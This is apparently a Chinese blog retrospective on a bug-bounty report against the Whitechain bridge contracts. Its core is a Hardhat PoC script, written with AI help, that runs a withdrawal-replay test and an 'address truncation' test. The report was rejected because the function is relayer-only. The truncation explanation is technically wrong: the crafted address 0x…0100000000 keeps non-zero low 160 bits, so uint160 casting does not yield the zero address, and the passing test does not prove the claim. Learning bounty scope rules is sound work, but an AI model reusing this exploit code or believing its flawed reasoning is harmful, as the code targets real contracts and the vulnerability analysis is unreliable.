最近尝试了 HackenProof 上的 Whitechain 跨链桥项目,

一.复盘与总结

当终端最终跑出绿色的 2 passing 时,我曾以为这会是一次丰收。随后的 N/A 判定与扣分,让我彻底冷静了下来。整理三点沉淀,既是备忘,也与大家共勉:

  1. 规则认知:特权信任与外部攻击面
    这次最大的教训,是对赏金边界的重新审视。在 Web3 审计中,带有 onlyRole 等权限修饰的函数属于“特权信任区”。即使内部逻辑存在校验缺失,只要外部普通攻击者无法直接触达,规则上统归 Out of Scope。未来的审计重心,应更聚焦于无需权限的公共函数。
  2. 技术沉淀:PoC 构造的三个破局点
    在借助 AI 辅助补全 TypeScript 语法的过程中,我主导设计了核心的攻击载荷逻辑:

(1)强破类型校验:针对 bytes32 要求,使用 zeroPadValue 将 20 字节地址右侧补零,满足 ABI 编码。

(2)精准构造异常载荷:手工拼装“高位有值、低位全零”的十六进制地址。它成功绕过了 nonZero 前置检查,并在底层触发 uint160 截断化为零地址,导致资金永久锁定。

(3)环境动态适配:摒弃硬编码,通过 provider.getNetwork() 动态捕获 ChainId,保证了脚本在任意分叉环境下的兼容与健壮。

3.心态回归:N/A 不等于 Invalid
平台判定不适用,仅代表发现偏离了奖励规则,并不否定代码逻辑本身。实打实的测试通 过结果就是最好的证明。虽未获赏金,但完整跑通了从源码分析到 Hardhat 本地复现的全 链路,这套工程化能力,才是真正带走的硬实力。

​

二. 探索过程

1.发现的代码漏洞
在审计 Bridge.sol 时,发现两个逻辑缺陷:

(1)提现重放:存款函数 bridgeTokens 有 usedHashes 校验防重放,但提现函数 receiveTokens 完全没有。

(2)地址截断:提现时 bytes32 类型的地址被强制转换 uint160,构造特殊地址会导致资金打入零地址。


为了证明漏洞的真实性,我基于 Hardhat 框架编写了完整的 PoC 攻击脚本(FullExploit.ts)。

在编写过程中,我踩平了合约各种严苛的校验坑。比如:

必须动态获取当前链的 ChainId,否则 registerMapping 会报错。

结构体传参时,普通的 address 必须用 hre.ethers.zeroPadValue 补齐成 32 字节的 bytes32。

原生代币的限额必须使用 ZeroHash。

完整代码如下,建议大家阅读时重点关注 Critical 1 和 Critical 2 的攻击逻辑:

//

2.👉 点击展开查看完整 PoC 脚本(FullExploit.ts)

import { expect } from "chai";
import hre from "hardhat";

describe("🔥 Whitechain Bridge Full Exploit", function () {
  let BridgeContract: any;
  let MapperContract: any;
  
  let deployer: any;
  let emergencyAddress: any;
  let multisigAddress: any;
  let relayerAddress: any;
  let user1: any;
  let user2: any;

  // 枚举常量定义
  const DepositType = { None: 0, Lock: 1, Burn: 2 };
  const WithdrawType = { None: 0, Unlock: 1, Mint: 2 }; 

  beforeEach(async function () {
    const accounts = await hre.ethers.getSigners();
    deployer = accounts[0];
    emergencyAddress = accounts[1];
    multisigAddress = accounts[2];
    relayerAddress = accounts[3];
    user1 = accounts[4];
    user2 = accounts[5];

    // 1. 部署 Mapper
    MapperContract = await hre.upgrades.deployProxy(
      await hre.ethers.getContractFactory("contracts/main/modules/mapper/Mapper.sol:Mapper"), 
      [{
        emergencyAddress: emergencyAddress.address,
        multisigAddress: multisigAddress.address
      }], 
      { initializer: 'initialize', kind: 'uups' }
    );

    // 2. 部署 Bridge
    BridgeContract = await hre.upgrades.deployProxy(
      await hre.ethers.getContractFactory("contracts/main/modules/bridge/Bridge.sol:Bridge"), 
      [{
        mapperAddress: await MapperContract.getAddress(),
        emergencyAddress: emergencyAddress.address,
        multisigAddress: multisigAddress.address,
        relayerAddress: relayerAddress.address
      }], 
      { initializer: 'initialize', kind: 'uups' }
    );

    // 3. 注册映射(核心排雷区)
    const network = await hre.ethers.provider.getNetwork();
    const currentChainId = network.chainId;
    const fakeTokenAddress = hre.ethers.zeroPadValue(user1.address, 32);
    
    const mapInfo = {
      originChainId: BigInt(1), 
      targetChainId: currentChainId, 
      depositType: DepositType.None, 
      withdrawType: WithdrawType.Unlock, 
      originTokenAddress: fakeTokenAddress, 
      targetTokenAddress: fakeTokenAddress, 
      useTransfer: false,
      isAllowed: true,
      isCoin: true
    };
    await MapperContract.connect(multisigAddress).registerMapping(mapInfo);

    // 4. 给 Bridge 充值 100 ETH 供提现
    await deployer.sendTransaction({
      to: await BridgeContract.getAddress(),
      value: hre.ethers.parseEther("100")
    });

    // 5. 设置每日限额(原生币使用 ZeroHash)
    await BridgeContract.connect(multisigAddress).setDailyLimit(
      hre.ethers.ZeroHash, 
      relayerAddress.address,
      1000000n
    );
  });

  it("Critical 1: 提现重放攻击 (Replay Attack)", async function () {
    const mapId = 1;
    const externalId = hre.ethers.encodeBytes32String("hack_replay_001");
    const amount = 1000n;

    const params = [
        externalId,
        mapId,
        amount,
        hre.ethers.zeroPadValue(user1.address, 32),
        hre.ethers.zeroPadValue(user2.address, 32)
    ];

    console.log("\n🚀 第 1 次正常提现...");
    const tx1 = await BridgeContract.connect(relayerAddress).receiveTokens(params);
    await tx1.wait();
    console.log("✅ 第 1 次提现成功!");

    console.log("🔥 第 2 次原封不动重放...");
    const tx2 = await BridgeContract.connect(relayerAddress).receiveTokens(params);
    await tx2.wait();
    console.log("💥💥💥 [攻击成功] 重放提现成功!");
    
    expect(tx2).to.not.be.reverted;
  });

  it("Critical 2: 地址截断攻击 (Address Truncation)", async function () {
    const mapId = 1;
    const externalId = hre.ethers.encodeBytes32String("hack_zero_002");
    const amount = 1000n;
    const maliciousToAddress = "0x0000000000000000000000000000000000000000000000000000000100000000";

    const params = [
        externalId,
        mapId,
        amount,
        hre.ethers.zeroPadValue(user1.address, 32),
        maliciousToAddress
    ];

    console.log("\n🕳️ 尝试提现到被截断的零地址...");
    const tx = await BridgeContract.connect(relayerAddress).receiveTokens(params);
    await tx.wait();
    console.log("💥💥💥 [攻击成功] 资金被永久销毁!");
    
    expect(tx).to.not.be.reverted;
  });
});


三.平台审核反馈与规则解析

为什么被判了 N/A?
兴冲冲提交后,审核员判定为 Not Applicable(不适用),并扣了 5 点声望。

原因:提现函数带有 onlyRole(RELAYER_ROLE) 权限锁。在 Web3 赏金规则中,利用特权账号(中继器、管理员)引发的漏洞(或特权账号被黑)属于 Out of Scope。外部路人无法直接触发,故不算有效漏洞。